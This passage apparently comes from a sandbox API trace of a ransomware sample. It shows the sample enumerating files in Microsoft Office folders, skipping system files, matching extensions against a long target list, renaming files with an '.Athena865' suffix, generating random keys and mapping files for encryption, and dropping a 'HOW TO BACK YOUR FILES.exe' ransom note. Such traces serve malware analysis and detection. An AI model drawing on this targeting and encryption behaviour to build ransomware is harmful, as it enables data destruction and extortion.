(hObject=0x154) returned 1 [0150.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0150.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0150.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0150.251] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf300ca0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcf300ca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0150.251] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0150.251] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e52d000, ftCreationTime.dwHighDateTime=0x1ca1017, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9e52d000, ftLastWriteTime.dwHighDateTime=0x1ca1017, nFileSizeHigh=0x0, nFileSizeLow=0x104cb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RPT2HTM4.XSL", cAlternateFileName="")) returned 1 [0150.251] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0150.251] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0150.251] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2=".") returned 1 [0150.252] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2="..") returned 1 [0150.252] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2="windows") returned -1 [0150.252] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2="bootmgr") returned 1 [0150.252] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2="temp") returned -1 [0150.252] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2="pagefile.sys") returned 1 [0150.252] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2="boot") returned 1 [0150.252] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2="ids.txt") returned 1 [0150.252] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2="ntuser.dat") returned 1 [0150.252] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2="perflogs") returned 1 [0150.252] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2="MSBuild") returned 1 [0150.252] lstrlenW (lpString="RPT2HTM4.XSL") returned 12 [0150.252] lstrcpyW (in: lpString1=0x241e8b2, lpString2="RPT2HTM4.XSL" | out: lpString1="RPT2HTM4.XSL") returned="RPT2HTM4.XSL" [0150.252] lstrlenW (lpString="RPT2HTM4.XSL") returned 12 [0150.252] lstrlenW (lpString="Athena865") returned 9 [0150.252] lstrcmpiW (lpString1="2HTM4.XSL", lpString2="Athena865") returned -1 [0150.252] lstrlenW (lpString=".dll") returned 4 [0150.252] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2=".dll") returned 1 [0150.252] lstrlenW (lpString=".lnk") returned 4 [0150.252] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2=".lnk") returned 1 [0150.252] lstrlenW (lpString=".ini") returned 4 [0150.252] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2=".ini") returned 1 [0150.252] lstrlenW (lpString=".sys") returned 4 [0150.252] lstrcmpiW (lpString1="RPT2HTM4.XSL", lpString2=".sys") returned 1 [0150.252] lstrlenW (lpString="RPT2HTM4.XSL") returned 12 [0150.252] lstrlenW (lpString="bak") returned 3 [0150.252] lstrcmpiW (lpString1="XSL", lpString2="bak") returned 1 [0150.252] lstrlenW (lpString="ba_") returned 3 [0150.252] lstrcmpiW (lpString1="XSL", lpString2="ba_") returned 1 [0150.252] lstrlenW (lpString="dbb") returned 3 [0150.253] lstrcmpiW (lpString1="XSL", lpString2="dbb") returned 1 [0150.253] lstrlenW (lpString="vmdk") returned 4 [0150.253] lstrcmpiW (lpString1=".XSL", lpString2="vmdk") returned -1 [0150.253] lstrlenW (lpString="rar") returned 3 [0150.253] lstrcmpiW (lpString1="XSL", lpString2="rar") returned 1 [0150.253] lstrlenW (lpString="zip") returned 3 [0150.253] lstrcmpiW (lpString1="XSL", lpString2="zip") returned -1 [0150.253] lstrlenW (lpString="tgz") returned 3 [0150.253] lstrcmpiW (lpString1="XSL", lpString2="tgz") returned 1 [0150.253] lstrlenW (lpString="vbox") returned 4 [0150.253] lstrcmpiW (lpString1=".XSL", lpString2="vbox") returned -1 [0150.253] lstrlenW (lpString="vdi") returned 3 [0150.253] lstrcmpiW (lpString1="XSL", lpString2="vdi") returned 1 [0150.253] lstrlenW (lpString="vhd") returned 3 [0150.253] lstrcmpiW (lpString1="XSL", lpString2="vhd") returned 1 [0150.253] lstrlenW (lpString="vhdx") returned 4 [0150.253] lstrcmpiW (lpString1=".XSL", lpString2="vhdx") returned -1 [0150.253] lstrlenW (lpString="avhd") returned 4 [0150.253] lstrcmpiW (lpString1=".XSL", lpString2="avhd") returned -1 [0150.253] lstrlenW (lpString="db") returned 2 [0150.253] lstrcmpiW (lpString1="SL", lpString2="db") returned 1 [0150.253] lstrlenW (lpString="db2") returned 3 [0150.253] lstrcmpiW (lpString1="XSL", lpString2="db2") returned 1 [0150.253] lstrlenW (lpString="db3") returned 3 [0150.253] lstrcmpiW (lpString1="XSL", lpString2="db3") returned 1 [0150.253] lstrlenW (lpString="dbf") returned 3 [0150.253] lstrcmpiW (lpString1="XSL", lpString2="dbf") returned 1 [0150.253] lstrlenW (lpString="mdf") returned 3 [0150.253] lstrcmpiW (lpString1="XSL", lpString2="mdf") returned 1 [0150.254] lstrlenW (lpString="mdb") returned 3 [0150.254] lstrcmpiW (lpString1="XSL", lpString2="mdb") returned 1 [0150.254] lstrlenW (lpString="sql") returned 3 [0150.254] lstrcmpiW (lpString1="XSL", lpString2="sql") returned 1 [0150.254] lstrlenW (lpString="sqlite") returned 6 [0150.254] lstrcmpiW (lpString1="M4.XSL", lpString2="sqlite") returned -1 [0150.254] lstrlenW (lpString="sqlite3") returned 7 [0150.254] lstrcmpiW (lpString1="TM4.XSL", lpString2="sqlite3") returned 1 [0150.254] lstrlenW (lpString="sqlitedb") returned 8 [0150.254] lstrcmpiW (lpString1="HTM4.XSL", lpString2="sqlitedb") returned -1 [0150.254] lstrlenW (lpString="xml") returned 3 [0150.254] lstrcmpiW (lpString1="XSL", lpString2="xml") returned 1 [0150.254] lstrlenW (lpString="$er") returned 3 [0150.254] lstrcmpiW (lpString1="XSL", lpString2="$er") returned 1 [0150.254] lstrlenW (lpString="4dd") returned 3 [0150.254] lstrcmpiW (lpString1="XSL", lpString2="4dd") returned 1 [0150.254] lstrlenW (lpString="4dl") returned 3 [0150.254] lstrcmpiW (lpString1="XSL", lpString2="4dl") returned 1 [0150.254] lstrlenW (lpString="^^^") returned 3 [0150.254] lstrcmpiW (lpString1="XSL", lpString2="^^^") returned 1 [0150.254] lstrlenW (lpString="abs") returned 3 [0150.254] lstrcmpiW (lpString1="XSL", lpString2="abs") returned 1 [0150.254] lstrlenW (lpString="abx") returned 3 [0150.254] lstrcmpiW (lpString1="XSL", lpString2="abx") returned 1 [0150.254] lstrlenW (lpString="accdb") returned 5 [0150.254] lstrcmpiW (lpString1="4.XSL", lpString2="accdb") returned -1 [0150.254] lstrlenW (lpString="accdc") returned 5 [0150.254] lstrcmpiW (lpString1="4.XSL", lpString2="accdc") returned -1 [0150.255] lstrlenW (lpString="accde") returned 5 [0150.255] lstrcmpiW (lpString1="4.XSL", lpString2="accde") returned -1 [0150.255] lstrlenW (lpString="accdr") returned 5 [0150.255] lstrcmpiW (lpString1="4.XSL", lpString2="accdr") returned -1 [0150.255] lstrlenW (lpString="accdt") returned 5 [0150.255] lstrcmpiW (lpString1="4.XSL", lpString2="accdt") returned -1 [0150.255] lstrlenW (lpString="accdw") returned 5 [0150.255] lstrcmpiW (lpString1="4.XSL", lpString2="accdw") returned -1 [0150.255] lstrlenW (lpString="accft") returned 5 [0150.255] lstrcmpiW (lpString1="4.XSL", lpString2="accft") returned -1 [0150.255] lstrlenW (lpString="adb") returned 3 [0150.255] lstrcmpiW (lpString1="XSL", lpString2="adb") returned 1 [0150.255] lstrlenW (lpString="adb") returned 3 [0150.255] lstrcmpiW (lpString1="XSL", lpString2="adb") returned 1 [0150.255] lstrlenW (lpString="ade") returned 3 [0150.255] lstrcmpiW (lpString1="XSL", lpString2="ade") returned 1 [0150.255] lstrlenW (lpString="adf") returned 3 [0150.255] lstrcmpiW (lpString1="XSL", lpString2="adf") returned 1 [0150.255] lstrlenW (lpString="adn") returned 3 [0150.255] lstrcmpiW (lpString1="XSL", lpString2="adn") returned 1 [0150.255] lstrlenW (lpString="adp") returned 3 [0150.255] lstrcmpiW (lpString1="XSL", lpString2="adp") returned 1 [0150.255] lstrlenW (lpString="alf") returned 3 [0150.255] lstrcmpiW (lpString1="XSL", lpString2="alf") returned 1 [0150.255] lstrlenW (lpString="ask") returned 3 [0150.255] lstrcmpiW (lpString1="XSL", lpString2="ask") returned 1 [0150.255] lstrlenW (lpString="btr") returned 3 [0150.255] lstrcmpiW (lpString1="XSL", lpString2="btr") returned 1 [0150.256] lstrlenW (lpString="cat") returned 3 [0150.256] lstrcmpiW (lpString1="XSL", lpString2="cat") returned 1 [0150.256] lstrlenW (lpString="cdb") returned 3 [0150.256] lstrcmpiW (lpString1="XSL", lpString2="cdb") returned 1 [0150.256] lstrlenW (lpString="ckp") returned 3 [0150.256] lstrcmpiW (lpString1="XSL", lpString2="ckp") returned 1 [0150.256] lstrlenW (lpString="cma") returned 3 [0150.256] lstrcmpiW (lpString1="XSL", lpString2="cma") returned 1 [0150.256] lstrlenW (lpString="cpd") returned 3 [0150.256] lstrcmpiW (lpString1="XSL", lpString2="cpd") returned 1 [0150.256] lstrlenW (lpString="dacpac") returned 6 [0150.256] lstrcmpiW (lpString1="M4.XSL", lpString2="dacpac") returned 1 [0150.256] lstrlenW (lpString="dad") returned 3 [0150.256] lstrcmpiW (lpString1="XSL", lpString2="dad") returned 1 [0150.256] lstrlenW (lpString="dadiagrams") returned 10 [0150.256] lstrcmpiW (lpString1="T2HTM4.XSL", lpString2="dadiagrams") returned 1 [0150.256] lstrlenW (lpString="daschema") returned 8 [0150.256] lstrcmpiW (lpString1="HTM4.XSL", lpString2="daschema") returned 1 [0150.256] lstrlenW (lpString="db-journal") returned 10 [0150.256] lstrcmpiW (lpString1="T2HTM4.XSL", lpString2="db-journal") returned 1 [0150.256] lstrlenW (lpString="db-shm") returned 6 [0150.256] lstrcmpiW (lpString1="M4.XSL", lpString2="db-shm") returned 1 [0150.256] lstrlenW (lpString="db-wal") returned 6 [0150.256] lstrcmpiW (lpString1="M4.XSL", lpString2="db-wal") returned 1 [0150.256] lstrlenW (lpString="dbc") returned 3 [0150.256] lstrcmpiW (lpString1="XSL", lpString2="dbc") returned 1 [0150.256] lstrlenW (lpString="dbs") returned 3 [0150.256] lstrcmpiW (lpString1="XSL", lpString2="dbs") returned 1 [0150.256] lstrlenW (lpString="dbt") returned 3 [0150.257] lstrcmpiW (lpString1="XSL", lpString2="dbt") returned 1 [0150.257] lstrlenW (lpString="dbv") returned 3 [0150.257] lstrcmpiW (lpString1="XSL", lpString2="dbv") returned 1 [0150.257] lstrlenW (lpString="dbx") returned 3 [0150.257] lstrcmpiW (lpString1="XSL", lpString2="dbx") returned 1 [0150.257] lstrlenW (lpString="dcb") returned 3 [0150.257] lstrcmpiW (lpString1="XSL", lpString2="dcb") returned 1 [0150.257] lstrcmpiW (lpString1="XSL", lpString2="dct") returned 1 [0150.257] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL.Athena865") returned 75 [0150.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\rpt2htm4.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\rpt2htm4.xsl.athena865"), dwFlags=0x1) returned 1 [0150.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\RPT2HTM4.XSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\rpt2htm4.xsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0150.259] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=66763) returned 1 [0150.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0150.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0150.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0150.260] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0150.260] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0150.260] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0150.260] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x107d0, lpName=0x0) returned 0x17c [0150.262] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x107d0) returned 0x100000 [0150.266] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0150.266] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0150.266] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0150.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0150.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0150.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0150.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0150.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0150.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0150.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0150.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0150.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0150.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0150.267] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0150.268] CloseHandle (hObject=0x17c) returned 1 [0150.268] CloseHandle (hObject=0x154) returned 1 [0150.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0150.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0150.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0150.268] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa39d00, ftCreationTime.dwHighDateTime=0x1c89eb3, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfa39d00, ftLastWriteTime.dwHighDateTime=0x1c89eb3, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SERVWRAP.ASP", cAlternateFileName="")) returned 1 [0150.268] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0150.269] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0150.269] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2=".") returned 1 [0150.269] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2="..") returned 1 [0150.269] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2="windows") returned -1 [0150.269] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2="bootmgr") returned 1 [0150.269] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2="temp") returned -1 [0150.269] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2="pagefile.sys") returned 1 [0150.269] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2="boot") returned 1 [0150.269] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2="ids.txt") returned 1 [0150.269] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2="ntuser.dat") returned 1 [0150.269] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2="perflogs") returned 1 [0150.269] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2="MSBuild") returned 1 [0150.269] lstrlenW (lpString="SERVWRAP.ASP") returned 12 [0150.269] lstrcpyW (in: lpString1=0x241e8b2, lpString2="SERVWRAP.ASP" | out: lpString1="SERVWRAP.ASP") returned="SERVWRAP.ASP" [0150.269] lstrlenW (lpString="SERVWRAP.ASP") returned 12 [0150.269] lstrlenW (lpString="Athena865") returned 9 [0150.269] lstrcmpiW (lpString1="VWRAP.ASP", lpString2="Athena865") returned 1 [0150.269] lstrlenW (lpString=".dll") returned 4 [0150.269] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2=".dll") returned 1 [0150.269] lstrlenW (lpString=".lnk") returned 4 [0150.269] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2=".lnk") returned 1 [0150.269] lstrlenW (lpString=".ini") returned 4 [0150.269] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2=".ini") returned 1 [0150.269] lstrlenW (lpString=".sys") returned 4 [0150.269] lstrcmpiW (lpString1="SERVWRAP.ASP", lpString2=".sys") returned 1 [0150.269] lstrlenW (lpString="SERVWRAP.ASP") returned 12 [0150.270] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP.Athena865") returned 75 [0150.270] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp.athena865"), dwFlags=0x1) returned 1 [0150.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0150.271] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=939) returned 1 [0150.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0150.272] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0150.272] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0150.272] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0150.272] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0150.272] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0150.273] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6b0, lpName=0x0) returned 0x17c [0150.274] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6b0) returned 0x100000 [0150.275] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0150.275] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0150.275] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0150.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0150.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0150.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0150.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0150.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0150.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0150.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0150.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0150.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0150.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0150.276] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0150.276] CloseHandle (hObject=0x17c) returned 1 [0150.276] CloseHandle (hObject=0x154) returned 1 [0150.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0150.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0150.277] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0150.277] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa39d00, ftCreationTime.dwHighDateTime=0x1c89eb3, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfa39d00, ftLastWriteTime.dwHighDateTime=0x1c89eb3, nFileSizeHigh=0x0, nFileSizeLow=0x3ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SERVWRAP.ASP", cAlternateFileName="")) returned 0 [0150.277] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0150.277] ReleaseMutex (hMutex=0xec) returned 1 [0150.277] CloseHandle (hObject=0xec) returned 1 [0150.277] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" [0150.277] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539d90 | out: hHeap=0x4f0000) returned 1 [0150.277] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ce10 | out: hHeap=0x4f0000) returned 1 [0150.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ") returned 49 [0150.277] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A5E43057BE2B214D8E9CEADEB73D34D7") returned 0xec [0150.277] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0150.277] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" [0150.277] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0150.277] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\how to back your files.exe"), bFailIfExists=1) returned 0 [0150.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0150.279] GetLastError () returned 0x0 [0150.279] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0150.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0150.279] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0150.280] CloseHandle (hObject=0xf4) returned 1 [0150.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0150.280] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0150.280] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcf5ae560, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcf5ae560, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0150.280] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0150.280] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0150.280] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0150.280] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcf5ae560, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcf5ae560, 